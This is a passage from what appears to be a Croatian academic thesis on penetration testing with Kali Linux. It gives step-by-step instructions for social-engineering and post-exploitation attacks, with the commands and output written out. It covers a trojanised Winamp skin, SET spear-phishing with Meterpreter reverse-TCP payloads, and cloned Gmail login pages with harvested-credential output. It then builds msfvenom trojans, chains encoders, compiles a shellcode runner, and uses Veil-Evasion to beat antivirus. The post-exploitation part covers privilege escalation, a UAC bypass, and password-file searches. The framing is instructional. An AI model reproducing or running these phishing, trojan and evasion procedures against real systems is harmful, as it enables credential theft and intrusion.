Bento Winamp skin datoteke sa lokacije C:\ Program Files \ Winamp \ Skins i kopira se
u Kali. Preimenuje se mapu Bento u Rockethip, te se zamijeni datoteku Rocketship \
scripts \ mcvcore.maki zloCudnom datotekom koju smo upravo stvorili u Metasploitu.
Zippira se mapa i kopira na web posluzitelj. Kako bi se uvijerili da ovo zbilja funkcionira
mozZe se prebaciti na Windows 7 sustav i skinuti “zippirani skin® sa Kali servera, te
‘unzipati®, i spremiti u mapu. C:\Program Files\Winamp\Skins. Na kraju se u Winampu
ode redom na : Options=>»Skins i odabere se Rocketship. Onoga trenutka kada je korisnik

odabrao “zlo¢udni skin napadac ¢e dobiti Zeljenu sesiju.
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9. SOCIJALNO INZENJERSTVO

Koliko god neki sustav moze bit zakrpan i zasti¢en to nece puno vrijediti ako se
zaposlenik moze uvjeriti da se odrekne osjetljivin podataka o tvrtki pa tako ugroziti vlastitu
sigurnost. U stvari, mnogi od najpoznatijih hakova uopée ne ukljuCuju eksploataciju
sustava. Npr. poznati haker Kevin Mitnick znao je uc¢i u korporaciju, uvjeriti strazare da
ima dopustenje biti u osjetljivom dijelu organizacije pa je usao i iskoristio sustav. Ova
vrsta napada, koja se naziva socijalni inZzenjering, iskoriStava ljudsku ranjivost. Ljudi
obicno Zele pomoci, pa osim ako nema sigurnosnih pravila, radnik sluzbe za pomo¢ moze
procitati lozinku na telefonu ili je postaviti na zadanu vrijednost. Takav jedan pokuSaj
prevare korisnika da se odrekne osjetljivin podataka predstavljanjem povjerljive osobe

putem e-poste ili drugih elektronikih sredstava poznat je kao phishing napad.

9.1 Alati za socijalni inzenjering

SET (skraceno od eng. Social-Engineer Toolkit) alat je alat otvorenog python
koda, osmislien da pomogne u obavljanju napada socijalnog inzZenjeringa tijekom
pentestova. On se sastoji od mnogih napada od re€enog phishing napada, i napada na
webu koji se prvenstveno koriste za kloniranje web stranica te varanje klijenata da u njih
unesu povjerljive podatke. Pristup SET alatu u Kaliju ostvaruje se komandom setoolkit,

pa se dobije prikaz sa slike br .43, a za pristup soc. inZ. napadima upiSe se broj 1.

root@kali:~¥# setoolkit
snip
Select from the menu:

1) Social-Engineering Attacks
2} Fast-Track Penetration Testing
3) Third Party Modules

snip

99) Exit the Social-Enginesr Toolkit

sety 1

Slika 43. Pristup alatima za socijalno inZenjerstvo®®
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9.2 Spear-phishing napad

Speah-phishing napad omogucuje pentesteru da stvori zlonamjerne datoteke za
napade na strani klijenta i poSalje ih e-poStom, te automatski postavi metasploit handler
da uhvati payload. Kada se odabere SE napad sa prethodne slike dobiju se mogucnosti
prikazane na slici br. 44.a). Zatim se specificira broj 1 za Spearh-Phishing napade te ¢e

se u njegovom izborniku pokazati sljedece opcije (vidljive na slici br.44.b).

Select from the menu:
1) Perform a Mass Email Attack @

1) Spear-Phishing Attack Vectors & ?] Create a Fileformat Payload @
2) Website Attack Vectors 3) Create a Social-Engineering Template @
3) Infectious Media Generator
4) Create a Payload and Listener snip
5) Mass Mailer Attack 89} Return to Main Menu
snip
99) Return back to the main menu. set:phishings 1
sety 1
Slika 44.a. Odabir Spear-Phishing napada®’ Slika 44.b. Opcije za napad®®

Prva opcija sa slike 44.b) predstavlja izvodenje masovnog napada e-poSte koja
omogucava slanje zaraZzene datoteke na predefiniranu adresu e-poste ili popis adresa
kao i postavljanje metasploit “listenera“ za odabrani payload. Sljedec¢a opcija sluzZi za
stvaranje zlo¢udne datoteke s Metasploit payloadom, a zadnja opcija se Kkoristi za
stvaranje predlozaka koji ¢e se koristiti u SET napadima. Kada se odabere prva opcija
pojavit ¢e se opcije payloada, a za primjer moze se koristiti Adobe util.printf() Buffer
Overflow payload koji se nalazi pod brojem 12. Kada se on odabere prikazuje nam se
nacin na koji ¢e se izvrsiti payload (Windows Reverse TCP Shell i Windows Meterpreter
Reverse_TCP payload). Ovamo se moze Koristiti ve¢ dobro poznat payload Windows
Meterpreter Reverse _TCP koji se odabere sa brojem 2. Zatim Ce alat upitati odgovarajuce

opcije za payload (u ovom slu€aju LHOST i LPORT) koje se postavi. Kada se “hamjeste”
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opcije onda ¢e program upitati za imenovanje maliciozne datoteke koje se moze postavit
arbitrarno. U zadnjem koraku program ¢e upitati da pentester odlu€i hoce li SET poslati
zlonamjerenu datoteku na jednu adresu e-poste ili popis adresa (eng. Single or Mass

Email).

9.2.1 Kreiranje predlozaka i daljnja faza napada

Moguce je koristiti jedan od predlozaka e-poste SET-a ili unositi tekst za
jednokratnu upotrebu u predlosSku. Pored toga, ako se odabere “ Kreiraj predloZzak za
drustveni inZenjering“, moze se stvoriti predlozak koji se moze ponovo koristiti. U ovoj fazi
napadac treba biti kreativan kako bi Zrtva nasjela na njegovu obmanu. Jedino Sto jo$

preostaje je odabrati Zrtvu i “listener®. Primjer postavljanja Zrtve vidi se na slici ispod.

set:phishing: Send email to: georgiafmetasploit.com

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

set:phishing> 1

set:phishing> Your gmail email address: georgia@bulbsecurity.com
set:phishing> The FROM NAME user will see: Georgia Weidman

Email password:

set:phishing> Flag this message/s as high priority? [yes|no]: no

Slika 45. Postavljanje Zrtve za soc. inzenjering®®

Na prethodnoj slici se vidi kada program to zatraZi , da se unese adresu e-poste i zaporku
za vlastiti Gmail raCun. SET bi trebao pokusati dostaviti poruku. Kod ovoga napada moze
se dogoditi da Gmail uo€i sumnijivost u vjerodostojnost ovog email-a, te prekine sami
napad. Kod ovog napada treba biti uporan i mogu se dobiti bolji rezultati koristeci viastiti
posluzitelj poste ili posluZitelj poste klijenta ako se mozZe prikupiti ili pogoditi kredencijali.
Posljednja stvar $to ¢e program trazit je vrijednost postavljanje listenera (koji je vec¢ prije
postavljen), a on moze biti yes ili no. Kada se odabere yes sve je uspjeSno postavljeno i
samo se Ceka zrtvu da otvori zaraZzenu PDF datoteku s kojom ¢e napadac dobiti sesiju.
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9.3 Web napadi
Ovo je vrsta napada koji imaju socijalno-inzenjersku komponentu jer opona$a
mnoge napade socijalnog inzenjerstva videnih u praksi. Kod ovakvog napada odabere se

opcija 2 sa slike br. 44.a), te bi se trebao pojaviti prikaz sa donje slike.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harwester Attack Method
4) Tabnabbing Attack Method
--snip--
99) Return to Main Menu
setiwebattack: 3

Slika 46. Prikaz opcija za web napade®°

Sa gornje slike opcija 1 automatizira proces Java-signed applet napada o kojem je bilo
viSe rije€ ranije u radu. Opcija 2 omogucuje upotrebu svih napada klijenta na strani
klijenta koji koriste Metasploit, pri kojem se ne moraju ru¢no postavljati parametri. Opcija
3 (koja je ovdje koristena) pomaze u stvaranju web lokacija kako bi izigrali korisnike da
se odreknu kredencijala. Posljednja opcija se oslanja na sklonost korisnika za stvaranje
kolekcije otvorenih kartica u pregledniku. Kada zrtva otvori tab sa opcije broj 4, prikaze
mu se poruka da sacCeka, te ¢e se napad u obliku kloniranja web stranice postaviti kada
korisnik ode na drugi tab te se vrati. Ukoliko unese valjanje kredencijale napad je uspio.
Kada se odabere opcija 3 sa prethodne slike, dobiju se sljedeci zahtjevi programa
prikazani slikama ispod. Nakon odabira opcije 1 sa slike br. 47.a), program trazi unos IP
adrese na koju ¢e web stranica poslati kredencijale (u ovom slu€aju IP adresa Kali stroja
: 192.168.20.9). Nakon upisa IP adrese prikazat ¢e se slika br. 47.b) za odabir stranice

koja se zeli klonirat.
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19 Meb Tesplates 1. lava Required
2. mail
2) Site Cloner 3 ch:l;le
s:ipﬂustm Import 4. Facebook
—- - 5. Twitter
99) Return to Webattack Menu 6. Yahoo

set:webattacks 1 set:webattacks Select a template: 2

Slika 47.a.0pcija za kloniranje web predlozaka®' Slika 47.b.Popis stranica za kloniranje®?

Kada Zrtva unese kredencijale na Gmail (opcija 2) stranica e se osvjeziti, a Zrtvu
preusmijeriti na pravu Gmail stranicu. Jednom kada se iskljuCit web posluzitelj sa
komandom ctrl-C da bi se prekinuo web napad, rezultati se zapisuju u datoteku.

U tom trenutku kredencijali ¢e osobi biti ukradeni kao $to se moZe vidjeti na primjeru sa

slike ispod.

192.168.20.10 - - [10/May/2015 12:58:02] "GET / HTTP/1.1" 200
[*] WE GOT A& HIT! Printing the output:

PARAM: 1tmpl=default

..$ﬂlp..

PARAM: GALX=0XWT1jDgpqg

POSSIBLE USERNAME FIELD FOUND: Email-georgia®

POSSTRLE PASSWORD FIELD FOUND: Passwd=password®

Slika 48. Ispis ukradenih kredencijala®?

Cloner) za izradu kopije web lokacije klijenta, a ako stranica nema login, on se moze

jednostavno kreirati preko htmla kako bi se dobile Zrtvine osjetljive informacije.

9.4 Masovni mail napadi
Za koriStenje SET-a za automatiziranje phishing napada e-postom, najprije se

stvori datoteka i unese nekoliko adresa e-poste (primjer sa slike 49.a). Kada se vrati na
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izbornik sa slike 44.a), dobit ¢e se prikaz pod brojem 49.b) u kojem se specificira put do

datoteke mailova na koje ¢e se napad izvrSavati.

set» §

1. E-Mail Attack 5ingle Email Address
Z. E-Mail Attack Mass Mailer

--snip--
rootikali:~# cat emails.txt 99. Return to main menu.
georgia@bulbsecurity. com set:mailers 2
georgilagrmn0obs . com —-snip--
georglafmetasploit.com set:phishing> Path to the file to import into SET: /root/emails.txt®

Slika 49.a.Primjer uno$enja e-maila za napad® Slika 49.b.Specifikacija do datoteke

kreirane sa slike br. 49.a.)%

Zatim se odabere server za iskoriStavanje (u ovom slu¢aju Gmail) te se prate sljedeci
koraci od kojih je najvazniji kreiranje samog maila. Kada program postavi pitanje: “Send
the message as html or plain? 'h' or 'p' odabere se h za kreiranje maila u kojem je najbolje
koristiti html koji omogucéava koristenje svojih tagova kao npr. <a> za sakrivanje linka na
koji ¢e se korisnika preusmijeriti. Ako korisnik “nasjedne” na ovaj trik napada¢ ¢e mu

ukrasti kredencijale.

9.5 Kombinirani napad

Za kraj moze se Koristiti napad koji kombinira napad e-postom zajedno s web
napadom kako bi se korisnike poslalo na web mjesto pod kontrolom napadaca tako sto
ih vara da kliknu na veze u e-porukama. Za to je potrebno promjeniti opciju u SET
konfiguracijskoj datoteci. U Kaliju se to nalazi na putu /usr/share/set/config/set_config.
Opcija koja se treba promjeniti je WEB_ATTACK_EMAIL, koji ima zadanu vrijednost OFF,
koja se mora promjenit na ON. Zatim se koristi jedan od prethodnih napada te ¢e sve biti

postavljeno kako smo zadali u ovoj fazi.
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10. ZAOBILAZENJE ANTIVIRUSNIH APLIKACIJA

Svi napadi dosada prikazani uspjeli su izbjeci detekciju antivirusnog programa,
ali nece svaki napad proci na zeljeni nacin.Tipi€no je veca vjerojatnost da e haker izbjeci
otkrivanje koriStenjem iskoriStavanja memorije i ucitavanjem payloada izravno u memoriju

, odnosno da nikad ne “dotakne” disk. O sli¢nim primjerima bit Ce rije€ ovdje.

10.1 Trojani

Svaki napad dosada bio je .exe oblika te je manjkao funkcionalnosti, pa ga je
antivirusni program mogao lako ukloniti. Postoji veca vjerojatnost da ¢e haker izbjeci
otkrivanje ako bi mogao “sakriti“ svoj payload unutar nekog legitimnog programa koiji bi
se normalno izvodio, a sami payload bi se izvrSavao u pozadini. Takav se program naziva
trojanac. Za kreiranje trojanca moze se koristiti alat Msfvenom koji moze “sakriti“ payload
unutar binarnih podataka. Naredbom msfvenom -h (help) dobije se prikaz koriStenja

msfvenoma kao na slici ispod.

rootigkall:~¥ msfvenom -h
Usage: /opt/metasploit/apps/pro/msfi/msfvenom [options] <var=val:

Options:
-p, --payloead [payload] Payload to use. Specify a '-" or stdin to
use custom payloads
--snip--
®-x, --template [path] Specify a custom executable file to use
as a template
8-k, --keep Preserve the template behavior and inject

the payload as a new thread
——enin__

Slika 50. Nacin koristenja alata msfvenom®®

Sa gornje slike zastavica -x omogucava koristenje izvrSne datoteke kao predlozak u koji
se ugraduje odabrani payload. Dodani payload zaustavit ¢e izvrSenje originala i ne bi se
trebalo oCekivati od korisnika da ¢ée pokrenuti izvrSnu datoteku koja se pri pokretanju
sporo ucitava. U primjeru sa slike br. 51 izvrSna datoteka se moze pronaci u Windows

binarima za pentesting u Kali Linuxu na putu /usr/share/Windows-binaries. Zastavica -k

% Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 258

67



¢e uciniti izvrSni predlozak netaknutim i pokrenuti ¢e payload u novoj dretvi, omogucujuci

normalno izvodenje .exe datoteke.

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -x fusr/share/windows-binaries/radmin.exe -k -f exe » radmin.exe

Slika 51. Jednostavno koristenje msfvenoma®’

Na slici br. 51 zastavica -p specificira payload koji je isti kao i dosad koristen kod ostalih
primjera, LHOST kao IP adresu Kali Linuxa, LPORT, put do izvrSne datoteke, zastavica
-k koja omoguéuje payload u zasebnoj dretvi, te na kraju zastavica -f koja govori
msfvenomu da kreira paylod u izvrSnom (.exe) formatu. Ovakav napad moZze se Koristiti
kod oba Windows xp i Windows 7 sustava. Obicni korisnici uglavhom nece zazirati u
legitimitet programa koji mu se isporu€i. Stru€njaci npr. trebaju provjeriti integritet
preuzete datoteke prije nego Sto ih pokrenu provjerejuéi njezin hash MD5 u odnosu na
vrijednost objavljenu od strane dobavlja¢a, ako je dostupna. U Kali Linuxu program
md5sum moze kalkulirati MD5 hash te provijeriti reCeni legitimitet programa. No kako bi
se uspio napraviti uspjeSan payload koji ¢e proCi nezapazeno pored antivirusnog
programa treba se objasniti kako uopcCe rade antivirusni programi. Vecina antivirusnih
rieSenja zapocinje usporedbom potencijalno opasnog koda s nizom obrazaca i pravila
koja Cine definiciju antivirusa, a koje odgovaraju poznatom zloéudnom kodu. Definicije
antivirusa postavljaju se svakodnevno od strane antivirusnog prodavaca i one
predstavljaju tzv. statiCku analizu. Postoji i dinamicka analiza za identifikaciju virusa npr.
program Kkoji pokusava zamijeniti svaku datoteku na tvrdom disku ili se povezati s
poznatim botnet naredbenim i upravljaCkim posluziteljem svakih 30 sekundi je primjer

potencijalno Stetne aktivnosti koja se moze oznaciti kao “opasnom®.

10.2 Zaoblilazenje antivirusnog programa Microsoft Security Essentials
Kod postavljanja sustava Windows 7 za pentest instaliran je program Miscrosoft

Security Essentials. MoZe se ukljuciti ova zastita da se vidi moze li se stvoriti neodredeni
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trojanac. Instrukcije su sljedece : Otvori se Microsoft Security Essentials =»odabere se
karticu Postavke =» odabere se zastitu u stvarnom vremenu i potvrdi okvir za uklju€ivanje
usluge, te se klikne na spremi promjene. Sada se moze demonstrirati kada se pokusa
instalirati program (trojanac) radmin.exe (iz pro$log primjera) antivirus ¢e ga detektirati i

obrisati te ¢e poslati poruku prikazanu na slici br. 52.

Microsoft Secunty Essentials

Detected threats are being cleaned.
" Mo action needed

Slika 52. Dokaz o antivirusnom uklanjaju $tetne datoteke®®

Kako bi se prikazalo koja antivirusna rjeSenja Ce detektirati trojanac, moze se oti¢i na
stranicu VirusTotal na poveznici https://www.virustotal .com/ i uploadati trojanac
radmin.exe, te se klikne na “Scan it!”. VirusTotal ¢e pokazati koja antivirusna rjeSenja ¢e

sa nekim svojim “patchom” detektirati trojanac.

10.3 Elaborirani nacini kako zaobici detekciju

10.3.1 Enkodiranje

Enkoderi su alati koji napadacu omogucavaju da izbjegne znakove u exploitu koji
bi ga prekinuli. Enkoderi kamufliraju payload i pripremaju upute za dekodiranje koje se
izvrSavaju kako bi se dekodiralo payload prije nego Sto se pokrene. Metasploit enkoderi
ne mogu izbjeci sve antiviruse, ali mogu kreirati “mutirajuce” kodove kako bi otezali posao
antivirusnim prodavacima u kreiranju digitalnog potpisa za payload. Kako bi se prikazala
lista svih enkodera koristi se msfvenom naredba -/ encoders. Jedini enkoder s izvrsnim
rangom je x86 / shikata_ga_nai. (opis kako funkcionira ovaj enkoder nije prikazan u ovom
radu). Specificiranje enkodera shikata_ga_nai encoder odvija se zastavicom -e, a jedan
potpuni prikaz vidi se na slici ispod.
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root@kali:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.20.9
LPORT=2345 -e x86/shikata ga nai -i 10 -f exe > meterpreterencoded.exe

[*] xB6/shikata_ga mai succeeded with size 317 (iteration=1)

[¥] xB6/shikata ga mai succeeded with size 344 (iteration=2)

--snip--

[#] x86/shikata ga nai succeeded with size 533 (iteration=0)

[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)

Slika 53. Prikaz koritenja x86 / shikata_ga_nai enkodera®®

Osim spomenute zastavice -e, na slici je prikazana joS nespomenuta zastavica -i koja
oznacava koliko puta ¢e se payload enkodirat (u ovom slu¢aju 10 puta). Kada se ova .exe
datoteka uploada na stranicu VirusTotal dobije se kako ga je €ak 35 antivirusnih programa
(u vrijeme istrazivanja 2014. g.) prepoznalo. Kako bi se pokus$ali pobolj$ati rezultati npr.,
mogu se kombinirati viSe puta enkoder shikata_ga_nai s drugim metasploit enkoderom,

x86 / bloxor Sto je vidljivo na slici br. 54.

rootilkali:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.20.9
LPORT=2345 -e xBb6/shikata ga nai -i 10 -f raw® > meterpreterencoded.bin®

[#] x86/shikata pa nai succeeded with size 317 (iteration=1)

-=-snip--

[*] xB6/shikata_ga nai succeeded with size 560 (iteration=10)

rootikali:~# msfvenom -p -© -f exe -a x86@ --platform windows®@ -e xB86/bloxor
-i 2 » meterpretermultiencoded.exe ¢ meterpreterencoded.bin®

[*] x86/bloxor succeeded with size 638 (iteration=1)

[*] x86/bloxor succeeded with size 712 (iteration=2)

Slika 54. Kombiniranje vise enkodera radi zaobilaZenja antivirusnih rje$enja’®

Prvi dio ne razlikuje se mnogo od prethodnog primjera osim $to se ovaj put bajtovi
zapisuju u .bin datoteku. Zatim se shikata_ga nai enkoder, enkodira sa x86/bloxor
enkoderom. Sintaksa se razlikuje zato $to se drugi puta payload ostavlja prazan (nema
potrebe za postavljanjem jo$ jednog payloada). Zato $to se ne postavlja payload moraju

se odabrati dodatne zastavice -a i -e. Zastavica -a predstavlja arhitekturu ciljnog sustava
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(u ovom slu€aju 32-bitni Windows sustav), a zastavica -e specificira enkoder x86/bloxor.
Na kraju msfvenom komande Koristi se cijev (eng. Pipe) sa simbolom < kako bi se dodala
prethodna .bin datoteka u ulaz za msfvenom. Tako ¢e se ostvariti kombinacija oba
enkodera. Ovakav nacin dovest ¢e do laganog poboljSanja pa ¢e za razliku od prijasnjih
35 antivirusnih rjeSenja, ovaj prepoznati dva manje, odnosno 33. PoboljSanja se mogu
ostvariti na razliCite nacine u kojem se treba biti kreativan i pokusati nadmudriti antivirusne

programe.

10.3.2 Unakrsno kompajliranje

Kad Msfvenom stvori izvrSnu datoteku, on koristi unaprijed izgradene predloske
koje antivirusni dobavljaCi mogu koristiti za izgradnju potpisa za otkrivanje. Moguce je
otezati sposobnost prepoznavanja unakrsnom kompajlacijom izvrSnih datoteka koristeci
shellkod. Unakrsna kompilacija se na primjer moze posti¢i kreiranjem programa u C

jeziku.
#Hinclude <stdio.h>
unsigned char random[]|= @
unsigned char shellcode[]- ®

int main(void) ©

{
}

Slika 55. Primjer kori$tenja unakrsnog kompajliranja’’

((void (*)())shellcode)();

Cilj je (sa gornje slike) popuniti podatke za nasumiéne varijable i shellkod, koje su
istovremeno skupovi znakova tipa “unsigned®. Tezi se tome da ¢e dodavanje neke
slu€ajnosti i sastavljanje vlastitog C koda biti dovoljno za prevariti antivirusni program.
Nasumicna varijabla dat ¢e neke nasumicne vrijednosti u predloZzak. Payload se moze

kreirati na isti nacin kao na primjeru sa slike br.54 ali ¢e zastavica -f imati vrijednost ¢
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kako bi se kreirali heksa bajtovi koji se onda mogu ubaciti u C datoteku. Nasumicni
znakovi u Kaliju nalaze se na putu /dev/urandom, te ih je potrebno dodati u varijablu
random sa prethodne slike. Posto /dev/urandom datoteka sadrzi neke znakove koiji se ne

mogu ispisati potrebno ju je modificirati na nacin prikazan dolje.

rooti@kali:~# cat /dev/urandom | tr -dc A-I-a-z-0-9 | head -c512
sOUULFhmiQGCUMgUd4e51CZKrvsy IcLyIEyVhFIVSecsBxV - JwHY1Dg fiCD1UEMZ Z2Eb6GONodqjUT
[sSgneql23nCfbhikeRfuHEBPWlowSzX0Hfg3TKASYE4adl

--5nip--

Slika 56. Uredivanje datoteke sa nasumi¢nim znakovima za ispis’?

Sa gornje slike koristi se tr -dc A-Z-a-z-0-9 zajedno sa komandom head za prikaz prvih
512 uredenih nasumicnih znakova. Dobiveni ispis sa prethodne slike ubacuje se u
varijablu random. Program koji se dobije potrebno je kompajlirati za 32-bitni Windows
sustav pomocu alata Mingw32 koji se moze instalirati naredbom apt-get install mingw32.
Kada se kompajlira C datoteka naredbom i586-min- gw32msvc-gcc (prikaz koriStenja sa
slike br. 57) i uploada na VirusTotal dobije se lagano poboljanje u kojem je sa prethodne

brojke od 33, samo 18 antivirusa otkrilo takvu datoteku.

rootikali:~# i586-mingw3lmsvc-gcc -0 custommeterpreter.exe custommeterpreter.c

Slika 57. Kompajlacija koda za 32-bitni Windows sustav’3

10.3.3 Koristenje programa Veil-Evasion

Veil-Evasion je Python framework koji automatizira stvaranje payloada s ciliem
izbjegavanja antivirusa, pruzajuci korisnicima mogucnost izbora viSe tehnika. Sli¢no kao
i kod C prog. jezika moze se uciniti s Pythonovom bibliotekom Ctypes koja omogucéava
pristup pozivima Windows API funkcija i moze stvoriti C-kompatibilne tipove podataka.

Koristenjem C tipova dobiva se pristup Windows API-ju VirtualAlloc, (koji stvara novo
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izvrsno memorijsko podruc€je za shellkod i zakljuCava memorijsko podrucje u fiziCkoj
memoriji) kako bi se izbjeglo straniranje (eng. paging, predstavlja shemu upravljanja
memorijom koja eliminira potrebu za stalnom raspodjelom fiziclke memorije) jer se
kodiranje i izvrSavanje shell-koda prenosi. RtIMoveMemory koristi se za kopiranje bajtova
kodova shellkoda u memorijsku regiju koju je stvorio VirtualAlloc. CreateThread API
stvara novu dretvu za pokretanje shellkoda, i na kraju, WaitForSingleObject ¢eka dok se
stvorena dretva ne dovrsi i shellkod zavrSi s radom. Navedena tehnika naziva se python
injection. Da bi osigurao dodatnu antivirusnu zastitu, Veil-Evasion omogucava koriStenje
enkripcije, gdje se moze koristiti npr. Python VirtualAlloc injection u kombinaciji s AES
enkripcijom. Kada se otvori Veil-Evasion python datoteka ./Veil-Evasion.py dobit ¢e se
izbornik sa opcijama. Kako bi se vidjeli dostupni payloadi koristi se komanda list kao sa

slike ispod.

[>] Please enter a command: list
Available payloads:

1) auxiliary/coldwar_wrapper

2) auxiliary/pyinstaller wrapper

--snip--

22) python/meterpreter/rev tcp
023) python/shellcode inject/aes encrypt
24) python/shellcode_inject/arc_encrypt
25) python/shellcode_inject/basebd_substitution
26) python/shellcode_inject/des_encrypt
27) python/shellcode inject/flat
28) python/shellcode_inject/letter substitution

Slika 58.a. Opcije za Veil-Evasion’™

Za koristenje VirtualAlloc injekcije i AES enkripcije odabere se opcija pod brojem 23 i

dobit ¢e se popis zahtjevanih opcija za koristenje navedenog payloada (slika br. 58.b).
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Name Current Value Description

Ocompile to_exe Y Compile to an executable

expire paylo X Optional: Payloads expire after "X" days
@inject method Virtual Virtual, Void, Heap

use_pyherion N Use the pyherion encrypter

Slika 58.b. Opcije za payload kod alata Veil-Evasion”®

Prema zadanom sa gornje slike, payload ¢e sastaviti Python skriptu u izvrSivu datoteku
koristeci VirtualAlloc () kao “metodu ubrizgavanja“. Kada program to zatrazi u daljnjim
koracima odabere se “generate” za kreiranje. Program ¢e jo$ upitati tipicne podatke kao
Sto su vlastiti ili msfvenom shellkod, payload, LHOST, LPORT i na kraju jednu izvrSivu
metodu. Moze se odabrati zadana metoda Pyinstaller, kako bi Veil-Evasion generirao

zlo¢udne .exe datoteke, koje na kraju sprema u veil-output/compiled direktorij.
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11. POST EKSPLOATACIJA

Nakon $to se napravi pentesting u potrazi za slabostima sustava, proces i dalje
nije gotov, StoviSe ne moze se klijentu samo pokazati kako je njegov sustav slab ukoliko
pentester dobije meterpreter sesiju. Klijent ne bi dobio dobar uvidu u prikaz svojih
ranjivosti samo sa dobivenom sesijom, zato je post eksploatacija kljuéna faza u

pentestingu.

11.1 Meterpreter

Ranijim napadima moglo se primjetiti kako je sustav Windows xp ranjiv za MS08-
067 exploit. Kada je sustav iskoriSten moze se komandom sintakse session <broj_sesije>
kretati izmedu sesija te pronaci onu koja ima najvecCe sistemske privilegije. Pentester
moZzda nece dobiti dobru sliku iskoriStenog Windows sustava bez curl ili wget pogodnosti
koje omogucuju skidanje datoteka sa web servera, ali mozda ¢e moc¢i uploadati datoteke
naredbom koja ima sintaksu upload <izvor datoteke za upload><destinacija>.

Demonstracija je prikazana na slici ispod.

meterpreter @ upload fusr/share/windows-binaries/nc.exe C:i\)
[*] vploading : Jusr/sharefwindows-binaries/nc.exe -» C:h
[*] uploaded : fusr/sharefwindows-binaries/nc.exe -» C:\\nc.exe

Slika 59. Prikaz uploadanja datoteke na neko odrediste’®

Meterpreter obi¢no radi s povlasticama iskoriStenog procesa ili korisnika. Npr. nakon
iskoristenog SMB servera sa exploitom MS08-067 moze se dobiti prikaz privilegija

naredbom getuid u meterpreteru.

11.1.1 Metarpreter skripte
Skripe za meterpreter nalaze se na putu /usr/share/metasploit-framework/
scripts/meterpreter u Kali Linuxu. Najbolji primjer skripte u post eksplataciji je ona koja je

bila prikaza kod migracije skripti u druge procese. Za to je bila koriStena sintaksa run
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<naziv skripe>. Bilo je potrebno i pratiti ID procesa, a prikaz svih procesa ostvaruje se
komandom ps. Zatim se kao $to je ranije bilo prikazano moZe migrirati na neki proces po
odaberenom |D-u, gdje se opet naredbom getuid mogu vidjeti privilegije sustava.
Metasploitov direktorij za post eksploataciju sadrzi module za lokalno prikupljanje
informacija, daljinsko upravljanje, eskalaciju privilegija i tako dalje, koji obuhvacaju viSe
platformi. Za primjer mozZe se uzet modul post/ Windows /gather / enum _logged
on_users koji prikazuje koji korisnik je trenutno ulogiran u sustavu zZrtve. Pri unoSenju
ovog modula, nakon Sto se upiSe exploit dobit ¢e se lista trenutno i nedavno ulogiranih
korisnika, a ti rezultati spremljeni su na lokaciju /root/msf4/ loot/
20140324121217_default_192.168.20.10_host.users.activ_791806.txt.

Na slici dolje prikazana je lista nedavno ulogiranih korisnika u zrtvinom sustavu.

Recently Logged Users

SID Profile Path

5-1-5-18 Asystemrootdhsystemizvconfighsystemprofile
5-1-5-19 E5ystemDrive¥\Documents and SettingsilocalService
5-1-5-20 E5ystemDrive¥i\Documents and Settings\MetworkService
5-1-5-21-299502267-308236825-682003330-1003  ESystemDrive¥\Documents and Settings\georgia

Slika 60. Primjer liste nedavno ulogiranih korisnika’’

11.2 Lokalna eskalacija privilegija

Eskalacija privilegija ukljuCuje pokretanje ranjivosti stjecanja dodatne kontrole
nad sustavom nakon eksploatacije. Vec¢ina napada mozda nece rezultirati dobivanju svih
privilegija iskoriStenog sustava te ¢ée se nekad haker morat suocCit sa limitiranim
privilegijama. Naredba getsystem u meterpreteru automatizira isprobavanje niza poznatih
lokalnih eksploatacija privilegija protiv ciljnog sustava. Pokretanje getsystem naredbe bez
argumenata izvest ¢e niz lokalnih iskoriStavanja sve dok jedan uspjeh ili svi poznati
podvizi ne budu iscrpljeni Za koriStenje pojedinacnog exploita koristi se zastavica -t sa

brojem exploita. Jos jedan modul exploit/Windows/local/ms11_080 _
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afdjoinleaf iskoriStava manu u Afdjoinleaf funkciji kod afd.sys Windows drajvera. Kod
koriStenja tog modula prikazanog na slici br. 61, nakon odabrane sesije odaberu se

podaci kao sto su payload i LHOST.

msf exploit(ms1l 08B0 afdjoinleaf) » set SESSION 1

SESSION =» 1

nsf exploit(ms1l 08B0 afdjoinleaf) » set payload windows/meterpreter/reverse tcp
payload =» windows/meterpreter/reverse tep

msf exploit(ms1l 08B0 afdjoinleaf) » set LMOST 192.168.20.9

LHOST =» 192.168.20.9

nsf exploit(ms1l 0B afdjoinleaf) » explodt

Slika 61. Postavljanje ms11_080_afdjoinleaf’®

Ako ovaj exploit uspije trebala bi se prikazati meterpreter sesija, te bi naredba getuid

trebala pokazati sistemske privilegije.

11.3 Zaobilazenje UAC-a (eng. user account control) kod Windows 7 sustava

Operacijski sustavi kod verzija iznad Windowsa viste koriste regularne korisnicke
privilegije. Znaci ako aplikacija zeli koristiti administrativne privilegije, administrator
sustave treba to potvrditi Sto predstavlja definiciju UAC-a. Ako neki iskoriSteni sustav
Windows 7 pokrene zaraZene binarne datoteke kao korisnik, napadac ¢e imati privilegije
tog korisnika, a naredba getsystem ce rezultirati pogreSkom (slika br. 62) odnosno UAC
blokira naredbu getsystem da normalno funkcionira. Rje$enje se nalazi u ranjivosti
Windows/local/bypassuac. Taj modul koristi pouzdani certifikat izdavaCa putem injekcije
procesa da bi zaobiSao UAC kontrolu. Nakon tog modula naredba getsystem ¢e

funkcionirati.

server username: Book-Win7\Georgia Weidman
meterpreter » getsystem
[-] priv elevate getsystem: Operation failed: Access is denied.

Slika 62. Primjer kako UAC blokira naredbu getsystem?®
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11.4 Lokalno prikupljanje informacija
Nakon Sto se dobije pristup sustavu, trebalo bi se vidjeti jesu li prisutne bilo kakve

potencijalno osjetljive informacije, poput instaliranog softvera koji pohranjuje lozinke u
otvorenom tekstu ili upotrebljava slab hash algoritam, vlasniCke podatke ili izvorni kod,
podatke o kreditnoj kartici klijenta ili raCun e-poSte. Haker moze narediti meterpreteru da
potrazi zanimljive informacije kao Sto su lozinke pomocu naredbe search -f *password*
(slika ispod).

meterpreter » search -f *password*

Found 8 results...

€ \WWINDOWS\Helphpassword.chm (21891 bytes)

DViamppiypasswords.txt (362 bytes)
:WhocampphphptPEARNZend \Dojo\Form\Element\PasswordTextBox.php {1446 bytes)
Whacamppiphpt PEARNZend \Dojo\View\Helper' PasswordTextBox. php (1869 bytes)

